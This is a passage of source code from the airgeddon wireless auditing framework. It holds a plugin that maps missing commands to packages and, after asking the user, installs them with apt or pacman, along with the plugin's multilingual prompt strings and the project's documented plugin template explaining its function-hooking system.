commands_to_packages_correspondence["hcxhashtool"]="hcxtools" commands_to_packages_correspondence["xdpyinfo"]="xorg-xdpyinfo" commands_to_packages_correspondence["ethtool"]="ethtool" commands_to_packages_correspondence["lsusb"]="usbutils" commands_to_packages_correspondence["rfkill"]="rfkill" commands_to_packages_correspondence["wget"]="wget" commands_to_packages_correspondence["ccze"]="ccze" commands_to_packages_correspondence["loginctl"]="systemd" commands_to_packages_correspondence["xset"]="xorg-xset" commands_to_packages_correspondence["arping"]="arping-th" commands_to_packages_correspondence["play"]="sox" commands_to_packages_correspondence["curl"]="curl" ;; esac local missing_packages_string="" IFS=' ' read -r -a missing_commands_array <<< "${missing_commands_string_clean}" for item in "${missing_commands_array[@]}"; do missing_packages_string+=" ${commands_to_packages_correspondence[${item}]}" done missing_packages_string_clean="${missing_packages_string#${missing_packages_string%%[![:space:]]*}}" } #Posthook for check_compatibity function to install missing dependencies #shellcheck disable=SC2154,SC2086 function missing_dependencies_posthook_check_compatibility() { if [[ ${essential_toolsok} -ne 1 ]] || [[ ${optional_toolsok} -ne 1 ]] || [[ ${update_toolsok} -ne 1 ]]; then if "${AIRGEDDON_SILENT_CHECKS:-true}"; then ask_yesno "missing_dependencies_1" "yes" else ask_yesno "missing_dependencies_2" "yes" fi if [ "${yesno}" = "y" ]; then local missing_tools=() for item in "${!possible_package_names[@]}"; do if ! hash "${item}" 2> /dev/null || [[ "${item}" = "beef" ]]; then if [ "${item}" = "beef" ]; then case "${distro}" in "Kali"|"Parrot") if ! hash "beef-xss" 2> /dev/null; then missing_tools+=("beef-xss") fi ;; "BlackArch") if ! hash "${item}" 2> /dev/null; then missing_tools+=("${item}") fi ;; esac else missing_tools+=("${item}") fi fi done for item in "${internal_tools[@]}"; do if ! hash "${item}" 2> /dev/null; then missing_tools+=("${item}") fi done local missing_commands_string="" for item in "${missing_tools[@]}"; do missing_commands_string+=" ${item}" done commands_to_packages "${missing_commands_string}" echo language_strings "${language}" "missing_dependencies_3" "blue" echo local resultok=1 local update_output="" case "${distro}" in "Kali"|"Parrot") if [ -n "${missing_packages_string_clean}" ]; then if ! update_output=$(apt update 2>&1); then resultok=0 else if ! update_output+=$(apt -y install ${missing_packages_string_clean} 2>&1); then resultok=0 fi fi fi ;; "BlackArch") if [ -n "${missing_packages_string_clean}" ]; then if ! update_output=$(pacman -Sy 2>&1); then resultok=0 else if ! update_output+=$(pacman --noconfirm -S ${missing_packages_string_clean} 2>&1); then resultok=0 fi fi fi ;; esac if [ ${resultok} -eq 1 ]; then compatible=1 update_toolsok=1 for item in "${optional_tools_names[@]}"; do optional_tools["${item}"]=1 done language_strings "${language}" "missing_dependencies_4" "yellow" else if [ ${compatible} -eq 1 ]; then language_strings "${language}" "missing_dependencies_5" "yellow" else language_strings "${language}" "missing_dependencies_6" "red" fi ask_yesno "missing_dependencies_7" "yes" if [ "${yesno}" = "y" ]; then echo "${update_output}" echo if [ ${compatible} -eq 0 ]; then language_strings "${language}" 115 "read" fi fi fi else if [ "${compatible}" -ne 1 ]; then exit_code=1 exit_script_option fi fi fi } #Prehook for hookable_for_languages function to modify language strings function missing_dependencies_prehook_hookable_for_languages() { arr["ENGLISH","missing_dependencies_1"]="\${blue_color}Even with the \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} option enabled, airgeddon has detected that you are missing some dependencies due to the auto install missing dependencies plugin. \${green_color}Do you want to proceed with the automatic installation? \${normal_color}\${visual_choice}" arr["SPANISH","missing_dependencies_1"]="\${blue_color}Incluso con la opción \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} habilitado, debido al plugin de auto instalación de dependencias airgeddon ha detectado que faltan algunas. \${green_color}¿Quieres proceder con la instalación automática? \${normal_color}\${visual_choice}" arr["FRENCH","missing_dependencies_1"]="\${blue_color}Même si l'option \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} est activé, en raison du plugin d'installation automatique des dépendances d'airgeddon, certaines manquent. \${green_color}Voulez-vous procéder à l'installation automatique? \${normal_color}\${visual_choice}" arr["CATALAN","missing_dependencies_1"]="\${blue_color}Fins i tot amb l'opció habilitada \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color}, a causa del plugin d'acte instal·lació de dependències airgeddon ha detectat que falten algunes. \${green_color}Vols procedir amb la instal·lació automàtica? \${normal_color}\${visual_choice}" arr["PORTUGUESE","missing_dependencies_1"]="\${blue_color}Mesmo com a opção \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} habilitada, airgeddon detectou algumas ausentes devido ao plugin de instalação automática de dependências. \${green_color}Você quer prosseguir com a instalação automática? \${normal_color}\${visual_choice}" arr["RUSSIAN","missing_dependencies_1"]="\${blue_color}Даже при включённой опции \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color}, airgeddon с помощью плагина auto install missing dependencies (автоматическая установка отсутствующих зависимостей) обнаружил, что вам не хватает некоторых зависимостей. \${green_color}Вы хотите продолжить автоматическую установку? \${normal_color}\${visual_choice}" arr["GREEK","missing_dependencies_1"]="\${blue_color}Ακόμα και με ενεργοποιημένη την επιλογή \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color}, το airgeddon εντόπισε ότι σας λείπουν κάποια dependencies λόγω της αυτόματης εγκατάστασης του missing dependencies plugin. \${green_color}Θέλετε να συνεχίσετε με την αυτόματη εγκατάσταση; \${normal_color}\${visual_choice}" arr["ITALIAN","missing_dependencies_1"]="\${blue_color}Anche con l'opzione abilitata \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} abilitata, a causa del plugin di installazione automatica delle dipendenze, airgeddon ha rilevato che mancano alcune. \${green_color}Vuoi procedere con l'installazione automatica? \${normal_color}\${visual_choice}" arr["POLISH","missing_dependencies_1"]="\${blue_color}Nawet z włączoną opcją \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} airgeddon wykrył pewne brakujące zależności przy pomocy pluginu automatycznej instalacji. \${green_color}Chcesz przystąpić do automatycznej instalacji? \${normal_color}\${visual_choice}" arr["GERMAN","missing_dependencies_1"]="\${blue_color}Auch wenn die \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} Option aktiviert ist, hat airgeddon bemerkt, dass einige Abhängigkeiten fehlen aufgrund der automatischen Installation fehlenden Abhängigkeiten Plugin. \${green_color}Möchten Sie mit der automatischen Installation fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH","missing_dependencies_1"]="\${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} seçeneği etkin olsa bile, airgeddon bağımlılıkları eklentisi eksik nedeniyle otomatik bazı bağımlılıkları eksik olduğunu install algıladı. \${green_color}Otomatik yükleme ile devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC","missing_dependencies_1"]="\${normal_color}\${visual_choice} \${green_color}هل تريد المتابعى ؟ \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} .حتي مع تفعيل التثبيت التلقائى, البرنامج قد اكتشف انك تفتقد بعض التبعيات" arr["CHINESE","missing_dependencies_1"]="\${blue_color}即使启用了 \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} 选项,airgeddon 检测到您的插件缺少一些依赖项。\${green_color}您要继续自动安装吗?\${normal_color}\${visual_choice}" arr["ENGLISH","missing_dependencies_2"]="\${blue_color}Due to the auto install missing dependencies plugin, airgeddon could try to install the necessary missing packages. \${green_color}Do you want to proceed with the automatic installation? \${normal_color}\${visual_choice}" arr["SPANISH","missing_dependencies_2"]="\${blue_color}Debido al plugin de auto instalación de dependencias, airgeddon podría intentar instalar los paquetes necesarios que faltan. \${green_color}¿Quieres proceder con la instalación automática? \${normal_color}\${visual_choice}" arr["FRENCH","missing_dependencies_2"]="\${blue_color}En raison du plugin d'installation automatique des dependances, airgeddon pourrait essayer d'installer les logiciels manquants nécessaires. \${green_color}Voulez-vous procéder à l'installation automatique? \${normal_color}\${visual_choice}" arr["CATALAN","missing_dependencies_2"]="\${blue_color}A causa del plugin d'acte instal·lació de dependències, airgeddon podria intentar instal·lar els paquets necessaris que falten. \${green_color}Vols procedir amb la instal·lació automàtica? \${normal_color}\${visual_choice}" arr["PORTUGUESE","missing_dependencies_2"]="\${blue_color}Devido ao plug-in de instalação automática de dependência, o airgeddon pode tentar instalar os pacotes ausentes necessários. \${green_color}Você quer prosseguir com a instalação automática? \${normal_color}\${visual_choice}" arr["RUSSIAN","missing_dependencies_2"]="\${blue_color}Благодаря плагину auto install missing dependencies (автоматическая установка отсутствующих зависимостей) airgeddon может попытаться установить необходимые недостающие пакеты. \${green_color}Вы хотите продолжить автоматическую установку? \${normal_color}\${visual_choice}" arr["GREEK","missing_dependencies_2"]="\${blue_color}Λόγω της αυτόματης εγκατάστασης του missing dependencies plugin, το airgeddon θα μπορούσε να προσπαθήσει να εγκαταστήσει τα απαραίτητα πακέτα που λείπουν. \${green_color}θέλετε να συνεχίσετε με την αυτόματη εγκατάσταση; \${normal_color}\${visual_choice}" arr["ITALIAN","missing_dependencies_2"]="\${blue_color}A causa del plugin di installazione automatica delle dipendenze, airgeddon potrebbe provare a installare i pacchetti mancanti necessari. \${green_color}Vuoi procedere con l'installazione automatica? \${normal_color}\${visual_choice}" arr["POLISH","missing_dependencies_2"]="\${blue_color}Dzięki pluginowi automatycznej instalacji zależności airgeddon może spróbować zainstalować niezbędne brakujące pakiety. \${green_color}Chcesz przystąpić do automatycznej instalacji? \${normal_color}\${visual_choice}" arr["GERMAN","missing_dependencies_2"]="\${blue_color}Mit dem Auto-Dependency-Installations-Plugin könnte airgeddon versuchen, die erforderlichen fehlenden Pakete zu installieren. \${green_color}Haben sie mit der automatischen installation fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH","missing_dependencies_2"]="\${blue_color}Otomatik bağımlılık yükleme eklentisi nedeniyle, airgeddon gerekli eksik paketleri kurmayı deneyebilir. \${green_color}Otomatik yükleme ile devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC","missing_dependencies_2"]="\${normal_color}\${visual_choice} \${green_color}هل تريد المتابعه؟ \${blue_color}.بسبب امكانية التثبيت التلقائى, البرنامج قد يحاول تثبيت بعض التبعيات المفتقده" arr["CHINESE","missing_dependencies_2"]="\${blue_color}由于自动安装缺少依赖项插件,airgeddon 可以尝试安装必要的缺少包。\${green_color}您要继续自动安装吗?\${normal_color}\${visual_choice}" arr["ENGLISH","missing_dependencies_3"]="Missing dependencies packages are trying to be installed. Please be patient..." arr["SPANISH","missing_dependencies_3"]="Se está intentando instalar los paquetes de las dependencias que faltaban. Por favor ten paciencia..." arr["FRENCH","missing_dependencies_3"]="On va essayez d'installer les dépendances des logiciels manquants. Soyez patients s'il vous plaît..." arr["CATALAN","missing_dependencies_3"]="S'està intentant instal·lar els paquets de les dependències que faltaven. Si us plau tinguis paciència..." arr["PORTUGUESE","missing_dependencies_3"]="Tentando instalar dependências ausentes dos pacotes. Por favor, seja paciente..." arr["RUSSIAN","missing_dependencies_3"]="Попытка установить пакеты отсутствующих зависимостей. Подождите немного..." arr["GREEK","missing_dependencies_3"]="Τα πακέτα με ελλειπής dependencies προσπαθούν να εγκατασταθούν. Παρακαλώ κάντε υπομονή..." arr["ITALIAN","missing_dependencies_3"]="Si sta cercando di installare le dipendenze dei pacchetti mancanti. Si prega di essere pazienti..." arr["POLISH","missing_dependencies_3"]="Próba instalacji pakietów brakujących zależności. Cierpliwości..." arr["GERMAN","missing_dependencies_3"]="Fehlende Pakete Abhängigkeiten werden installiert. Wir bitten um Geduld..." arr["TURKISH","missing_dependencies_3"]="Eksik paket bağımlılıklarını yüklemek için çalışıyoruz. Lütfen sabırlı olun..." arr["ARABIC","missing_dependencies_3"]="...يرجي النتظار, جارى تثبيت التبعيات المفقوده" arr["CHINESE","missing_dependencies_3"]="正在尝试安装缺少的依赖包。请耐心等待..." arr["ENGLISH","missing_dependencies_4"]="Dependencies were successfully installed. Script can continue..." arr["SPANISH","missing_dependencies_4"]="Las dependencias se han instalado correctamente. El script puede continuar..." arr["FRENCH","missing_dependencies_4"]="Les dépendances ont etait correctement installés. Le script peut continuer..." arr["CATALAN","missing_dependencies_4"]="Les dependències s'han instal·lat correctament. El script pot continuar..." arr["PORTUGUESE","missing_dependencies_4"]="Dependências instaladas com sucesso. O script pode continuar..." arr["RUSSIAN","missing_dependencies_4"]="Зависимости установлены правильно. Скрипт может продолжать..." arr["GREEK","missing_dependencies_4"]="Τα dependencies εγκαταστάθηκαν με επιτυχία. Το script μπορεί να συνεχίσει..." arr["ITALIAN","missing_dependencies_4"]="Le dipendenze sono state installate correttamente. Lo script può continuare..." arr["POLISH","missing_dependencies_4"]="Zależności zostały zainstalowane prawidłowo. Skrypt może kontynuować..." arr["GERMAN","missing_dependencies_4"]="Abhängigkeiten werden erfolgreich installiert. Das Skript kann fortfahren..." arr["TURKISH","missing_dependencies_4"]="Bağımlılıklar düzgün bir şekilde yüklendi. Yazılım devam edebilir..." arr["ARABIC","missing_dependencies_4"]="...لقد تم تثبيت البعيات بنجاح. بإمكانك المتابعة" arr["CHINESE","missing_dependencies_4"]="依赖项已成功安装。脚本可以继续..." arr["ENGLISH","missing_dependencies_5"]="An error occurred while trying to install dependencies. This may be due to multiple causes. Make sure your internet connection is working. Anyway, you have installed all essential tools so you can continue. You'll miss only some features" arr["SPANISH","missing_dependencies_5"]="Ocurrió un error al intentar instalar las dependencias. Esto puede ser debido a múltiples causas. Asegúrate de que tu acceso a internet está operativo. De todas formas tienes instaladas las herramientas esenciales así que puedes continuar. Solo no podrás hacer uso de algunas funcionalidades" arr["FRENCH","missing_dependencies_5"]="Une erreur est survenue en essayant d'installer les dépendances. Cela peut être dû à des causes multiples. Assurez-vous que votre connexion internet fonctionne. De toute faiçon, vous avez installé tous les outils essentiels afin que vous puissiez continuer. Vous manquez seulement quelques fonctionnalités" arr["CATALAN","missing_dependencies_5"]="S'ha produït un error en intentar instal·lar les dependències. Això pot ser degut a múltiples causes. Assegura't que el teu accés a internet està operatiu. De totes maneres, ha instal·lat totes les eines essencials perquè pugui continuar. Es perdran només algunes de les característiques" arr["PORTUGUESE","missing_dependencies_5"]="Ocorreu um erro ao tentar instalar as dependências. Isto pode ter múltiplas causas. Certifique-se de sua conexão com a internet está funcionando. De qualquer forma, você possui todas as ferramentas essenciais para continuar, mas você não poderá usar alguns recursos." arr["RUSSIAN","missing_dependencies_5"]="Произошла ошибка при попытке установить зависимости. Это может быть связано с несколькими причинами. Убедитесь, что подключение к Интернету работает. Во всяком случае, вы установили все инструменты необходимые для базовой работы. Вам будут недоступны только некоторые функции" arr["GREEK","missing_dependencies_5"]="Παρουσιάστηκε σφάλμα κατά την προσπάθεια για την εγκατάσταση των dependencies. Αυτό μπορεί να οφείλεται σε πολλές αιτίες. Βεβαιωθείτε ότι η σύνδεσή σας στο internet λειτουργεί. Τέλος πάντων, έχετε εγκαταστήσει όλα τα απαραίτητα εργαλεία ώστε να μπορείτε να συνεχίσετε. Θα χάσετε μόνο μερικά features" arr["ITALIAN","missing_dependencies_5"]="Si è verificato un errore durante il tentativo di installare le dipendenze. Ciò può essere dovuto a molteplici cause. Assicurarsi che la connessione a internet stia funzionando. In ogni caso, sono stati installati tutti gli strumenti essenziali in modo da poter continuare. Solo non potrai usare alcune funzionalità" arr["POLISH","missing_dependencies_5"]="Wystąpił błąd podczas próby zainstalowania zależności. Może to być spowodowane wieloma przyczynami. Upewnij się, że połączenie internetowe działa. W każdym razie masz zainstalowane wszystkie niezbędne narzędzia, dzięki czemu można kontynuować. Będzie brakowało tylko niektórych funkcji" arr["GERMAN","missing_dependencies_5"]="Fehler beim Versuch, Abhängigkeiten zu installieren. Dies kann mehrere Ursachen haben. Stellen Sie sicher, dass Ihre internetverbindung funktioniert. Doch Sie haben alle wichtigen Tools installiert, mit denen Sie fortfahren können. Sie vermissen nur einige Features" arr["TURKISH","missing_dependencies_5"]="Eksik paket bağımlılıklarını yüklemeye çalışırken bir hata oluştu. Bu farklı nedenlere bağlı olabilir. İnternet bağlantısının çalıştığından emin olun. Neyse, tüm gerekli araçları yüklediniz. Yalnızca bazı özellikler eksik" arr["ARABIC","missing_dependencies_5"]="وجد خطء خلال تثبيت التبعيات و هذا الخطء غير محدد. يرجي التأكد من الاتصال بالانترنت. علي اي حال, لقد تم تثبيت كل الادوات الاساسية و يمكنك المتابعة لكن بعض عناصر البرنامج قد تكون غير متاحة" arr["CHINESE","missing_dependencies_5"]="尝试安装依赖项时出错。这可能是由多种原因造成的。确保您的互联网连接正常。无论如何,您已经安装了所有必要的工具,所以您可以继续。只是会错过一些功能" arr["ENGLISH","missing_dependencies_6"]="An error occurred while trying to install dependencies. This may be due to multiple causes. Make sure your internet connection is working. Script can't continue due the lack of some essential tools" arr["SPANISH","missing_dependencies_6"]="Ocurrió un error al intentar instalar las dependencias. Esto puede ser debido a múltiples causas. Asegúrate de que tu acceso a internet está operativo. El script no puede continuar debido a la falta de algunas herramientas esenciales" arr["FRENCH","missing_dependencies_6"]="Une erreur est survenue en essayant d'installer les dépendances. Cela peut être dû à des causes multiples. Assurez-vous que votre connexion internet fonctionne. Le script ne peut pas continuer car l'absence de certains outils essentiels" arr["CATALAN","missing_dependencies_6"]="S'ha produït un error en intentar instal·lar les dependències. Això pot ser degut a múltiples causes. Assegura't que el teu accés a internet està operatiu. Script no pot continuar a causa de la manca d'algunes eines essencials" arr["PORTUGUESE","missing_dependencies_6"]="Ocorreu um erro ao tentar instalar as dependências. Isto pode ter múltiplas causas. Certifique-se de sua conexão com a internet está funcionando. Script não pode continuar devido a falta de algumas ferramentas essenciais" arr["RUSSIAN","missing_dependencies_6"]="Произошла ошибка при попытке установить зависимости. Это может быть связано с несколькими причинами. Убедитесь, что подключение к Интернету работает. Скрипт не может продолжить работу из-за отсутствия некоторых необходимых инструментов" arr["GREEK","missing_dependencies_6"]="Παρουσιάστηκε σφάλμα κατά την προσπάθεια για την εγκατάσταση των dependencies. Αυτό μπορεί να οφείλεται σε πολλές αιτίες. Βεβαιωθείτε ότι η σύνδεσή σας στο internet λειτουργεί. Το script δεν μπορεί να συνεχιστεί λόγω έλλειψης κάποιων βασικών εργαλείων" arr["ITALIAN","missing_dependencies_6"]="Si è verificato un errore durante il tentativo di installare le dipendenze. Ciò può essere dovuto a molteplici cause. Assicurarsi che la connessione a internet stia funzionando. Lo script non può continuare a causa della mancanza di alcuni strumenti essenziali" arr["POLISH","missing_dependencies_6"]="Wystąpił błąd podczas próby zainstalowania zależności. Może to być spowodowane wieloma przyczynami. Upewnij się, czy połączenie internetowe działa. Skrypt nie może kontynuować z powodu braku pewnych podstawowych narzędzi" arr["GERMAN","missing_dependencies_6"]="Fehler beim Versuch, Abhängigkeiten zu installieren. Dies kann mehrere Ursachen haben. Stellen Sie sicher, dass Ihre internetverbindung funktioniert. Script kann wegen des Fehlens einiger wichtiger Tools nicht mehr weitermachen" arr["TURKISH","missing_dependencies_6"]="Eksik paket bağımlılıklarını yüklemeye çalışırken bir hata oluştu. Bu farklı nedenlere bağlı olabilir. İnternet bağlantısının çalıştığından emin olun. Script bazı temel araçların eksikliği nedeniyle devam edemiyor" arr["ARABIC","missing_dependencies_6"]="وجد خطء خلال تثبيت التبعيات و هذا الخطء غير محدد. يرجي التأكد من الاتصال بالانترنت. لن تستطيع المتابعة لانك تفتقد بعض الادوات الاساسية" arr["CHINESE","missing_dependencies_6"]="尝试安装依赖项时出错。这可能是由多种原因造成的。确保您的互联网连接正常。由于缺少一些必要的工具,脚本无法继续" arr["ENGLISH","missing_dependencies_7"]="Do you want to see the output of the error occurred while updating? \${blue_color}Maybe this way you might find the root cause of the problem \${normal_color}\${visual_choice}" arr["SPANISH","missing_dependencies_7"]="¿Quieres ver la salida del error que dio al actualizar? \${blue_color}De esta manera puede que averigües cuál fue el origen del problema \${normal_color}\${visual_choice}" arr["FRENCH","missing_dependencies_7"]="Voulez-vous voir le résultat de l'erreur survenue lors de l'actualisation? \${blue_color}Peut-être de cette façon vous pourriez trouver la cause principale du problème \${normal_color}\${visual_choice}" arr["CATALAN","missing_dependencies_7"]="Voleu veure la sortida de l'error durant l'actualització? \${blue_color}Potser així trobareu la causa principal del problema \${normal_color}\${visual_choice}" arr["PORTUGUESE","missing_dependencies_7"]="Deseja ver o erro ocorrido durante a atualização? \${blue_color}Talvez assim você possa encontrar a causa raiz do problema \${normal_color}\${visual_choice}" arr["RUSSIAN","missing_dependencies_7"]="Хотите ли Вы увидеть информацию об ошибке, возникшей при обновлении? \${blue_color}Возможно, таким образом Вам удастся установить причину проблемы \${normal_color}\${visual_choice}" arr["GREEK","missing_dependencies_7"]="Θέλετε να δείτε την έξοδο του σφάλματος που παρουσιάστηκε κατά την ενημέρωση; \${blue_color}Ίσως με αυτόν τον τρόπο να βρείτε τη βασική αιτία του προβλήματος \${normal_color}\${visual_choice}" arr["ITALIAN","missing_dependencies_7"]="Vuoi vedere l'output dell'errore che si è verificato durante l'aggiornamento? \${blue_color}Forse in questo modo potresti scoprire la causa del problema \${normal_color}\${visual_choice}" arr["POLISH","missing_dependencies_7"]="Czy chcesz zobaczyć dane wyjściowe błędu, który wystąpił podczas aktualizacji? \${blue_color}Możesz w ten sposób możesz znaleźć przyczynę problemu \${normal_color}\${visual_choice}" arr["GERMAN","missing_dependencies_7"]="Möchten Sie die Ausgabe des Fehlers sehen, der beim Aktualisieren aufgetreten ist? \${blue_color}Vielleicht finden Sie auf dieser Weise die Ursache des Problems \${normal_color}\${visual_choice}" arr["TURKISH","missing_dependencies_7"]="Güncelleme sırasında oluşan hatanın çıktısını görmek ister misiniz? \${blue_color}Belki bu şekilde sorununun temel nedenini bulabilirsiniz \${normal_color}\${visual_choice}" arr["ARABIC","missing_dependencies_7"]="\${normal_color}\${visual_choice} \${blue_color}ربما بهذه الطريقة قد تجد السبب الاساسي للمشكلة \${green_color}هل تريد تري ناتج الخطأ الذي حدث أثناء التحديث؟" arr["CHINESE","missing_dependencies_7"]="您想查看更新时发生错误的输出吗?\${blue_color}也许这样你可能会找到问题的根本原因 \${normal_color}\${visual_choice}" } ================================================ FILE: plugins/plugin_template.sh ================================================ #!/usr/bin/env bash #Global shellcheck disabled warnings #shellcheck disable=SC2034,SC2154 #Start modifying below this line. You can safely remove comments but be pretty sure to know what you are doing! ###### QUICK SUMMARY ###### #How it works? This system allows to modify functionality of airgeddon to create a custom behavior based on a system of prehooking, overriding and posthooking functions #This can be done without any modification in the main script. All you need is to do modifications at plugins directory #Ready? Three simple steps! #1. Set some generic vars and some requirements vars to set some validations #2. Check airgeddon main script code and choose a function to work with (you need to be sure which function is doing the part you want to modify. Debug mode can help here) #3. Code your own stuff. You can set as much functions to prehook, override or posthook as you want. You can also create your own functions to be called from a hooked function #Bear in mind that this plugin template is ignored by airgeddon and is not executed because of its special filename which is an exception for the system #To use this template just rename the file to any other filename keeping .sh extension #Example: my_super_pr0_plugin.sh #If you have any doubt about plugins development check our Wiki: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Plugins%20Development ###### GENERIC PLUGIN VARS ###### plugin_name="Set your plugin name here" plugin_description="Set a short description of your plugin" plugin_author="Set your nick/name here" #Enabled 1 / Disabled 0 - Set this plugin as enabled - Default value 1 plugin_enabled=1 ###### PLUGIN REQUIREMENTS ###### #Set airgeddon versions to apply this plugin (leave blank to set no limits, minimum version recommended is 10.0 on which plugins feature was added) plugin_minimum_ag_affected_version="10.0" plugin_maximum_ag_affected_version="" #Set only one element in the array "*" to affect all distros, otherwise add them one by one with the name which airgeddon uses for that distro (examples "BlackArch", "Parrot", "Kali") plugin_distros_supported=("*") ###### CUSTOM FUNCTIONS ###### #Just create here new custom functions if they are needed #They can be called from the plugin itself. They are different than the "hooked" functions (explained on the next section) ###### FUNCTION HOOKING: OVERRIDE ###### #To override airgeddon functions, just define them following this nomenclature name: _override_ #plugin_short_name: This is the name of the plugin filename without extension (.sh) #function_name: This is the name of the airgeddon function you want to rewrite with new content #Overridden function example #This will replace an existing function in main airgeddon script to change its behavior in order to execute this content instead of the original #In this template the existing function is called "somefunction" but of course this is not existing in airgeddon. You should replace "somefunction" with the real name of the function you want to override #Remember also to modify the starting part of the function "plugin_template" to set your plugin short name (filename without .sh) "my_super_pr0_plugin" if you renamed this template file to my_super_pr0_plugin.sh #Example name: function my_super_pr0_plugin_override_set_chipset() { <- this will override the content of the chosen function function plugin_template_override_somefunction() { echo "Here comes my custom code content which will replace the original source code of the overridden function" } ###### FUNCTION HOOKING: PREHOOK ###### #To prehook airgeddon functions, just define them following this nomenclature name: _prehook_ #plugin_short_name: This is the name of the plugin filename without extension (.sh) #function_name: This is the name of the airgeddon function where you want to launch your stuff before #Prehook function example #This will execute this content before the chosen function #In this template the existing function is called "somefunction" but of course this is not existing in airgeddon. You should replace "somefunction" with the real name of the function you want to prehook #Remember also to modify the starting part of the function "plugin_template" to set your plugin short name (filename without .sh) "my_super_pr0_plugin" if you renamed this template file to my_super_pr0_plugin.sh #Example name: function my_super_pr0_plugin_prehook_clean_tmpfiles() { <- this will execute the custom code just before executing the content of the chosen function function plugin_template_prehook_somefunction() { echo "Here comes my custom code which will be executed just before starting to execute the content of the chosen function" } ###### FUNCTION HOOKING: POSTHOOK ###### #To posthook airgeddon functions, just define them following this nomenclature name: _posthook_ #plugin_short_name: This is the name of the plugin filename without extension (.sh) #function_name: This is the name of the airgeddon function where you want to launch your stuff after #Posthook function example #This will execute this content just after the chosen function #In this template the existing function is called "somefunction" but of course this is not existing in airgeddon. You should replace "somefunction" with the real name of the function you want to posthook #Remember also to modify the starting part of the function "plugin_template" to set your plugin short name (filename without .sh) "my_super_pr0_plugin" if you renamed this template file to my_super_pr0_plugin.sh #Example name: function my_super_pr0_plugin_posthook_clean_tmpfiles() { <- this will execute the custom code just after executing the content of the chosen function function plugin_template_posthook_somefunction() { echo "Here comes my custom code which will be executed just after finish executing the content of the chosen function" } #Important notes about returning codes on posthooking #If the function you are posthooking has a returning code, that value is available on the posthook function as ${1}. #The return done on the posthook function will be the final return value for the function overriding the original one. #So if you are posthooking a function with return codes you must do mandatorily a return statement on the posthook function.